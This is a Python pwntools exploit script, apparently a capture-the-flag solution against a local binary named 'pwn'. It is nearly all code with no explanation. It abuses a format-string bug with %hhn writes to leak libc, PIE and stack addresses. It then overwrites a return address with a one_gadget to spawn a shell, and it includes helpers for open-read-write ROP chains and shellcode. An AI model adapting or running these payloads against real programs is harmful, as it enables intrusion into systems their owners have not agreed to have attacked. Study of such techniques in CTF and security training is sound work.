1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| from pwn import *
def stre(a) : return str(a).encode() def ph(a,b="addr") : print(b+": "+hex(a)) def re(a) : return p.recv(a) def pre(a) : print(p.recv(a)) def reu(a,b=False) : return p.recvuntil(a,drop=b) def rel() : return p.recvline() def se(a) : p.send(a) def sea(a,b) : p.sendafter(a,b) def sel(a) : p.sendline(a) def sela(a,b) : p.sendlineafter(a,b) def op() : p.interactive() def cp() : p.close() def raddr64() : return u64(p.recv(6).ljust(8,b'\x00')) def raddr32() : return u32(p.recv(4)) def raddr_T() : return int(re(14),16) def raddr_A() : return int(reu(b"-",True),16) def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr): orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) orw+= p64(read_addr) orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) orw+= p64(write_addr) return orw def getorw(name,buf,Arch) : sh=shellcraft.open(name) sh+=shellcraft.read(3,buf,0x30) sh+=shellcraft.write(1,buf,0x30) sh=asm(sh,arch=Arch) return sh def gdbp(p,a='') : if a!='': gdb.attach(p,a) pause() else : gdb.attach(p) pause()
libc = ELF("./libc.so.6")
def exp(): str1 = 0x8a + 0x48 str2 = str1 + 0x79
payload = b"%c"*22 + b"%" + stre(str1) + b"c" + b"%hhn" + b"%" + stre(str2) + b"c" + b"%26$hhn" payload+= b"-%29$p-%27$p-%31$p-" sea(b"!\n", payload)
reu(b"-") libc_base = raddr_A() - 0x2a1ca pie_addr = raddr_A() - 0x12ea stack_addr = raddr_A() - 0x1d8 + 0xb8 stack_one = stack_addr - 0x68 + 0x98 ph(libc_base,"libc_base") ph(pie_addr,"pie_addr") ph(stack_addr,"stack_addr")
one = libc_base + 0xef52b ph(one,"one")
str0 = stack_one & 0xFF str1 = (one & 0xFF) - str0 str2 = ((one>>8) & 0xFFFF) - str0 - str1
payload = b"%" + stre(str0) + b"c" + b"%" + stre(14) + b"$hhn" payload+= b"%" + stre(str1) + b"c" + b"%" + stre(13) + b"$hhn" payload+= b"%" + stre(str2) + b"c" + b"%" + stre(15) + b"$hn" payload = payload.ljust(0x28,b"A") payload+= p64(stack_addr) + p64(stack_addr-0x8) + p64(stack_addr+1)
sleep(0.1) se(payload)
op()
while 1: try: p = process("./pwn") exp() except Exception as e: cp() continue break
|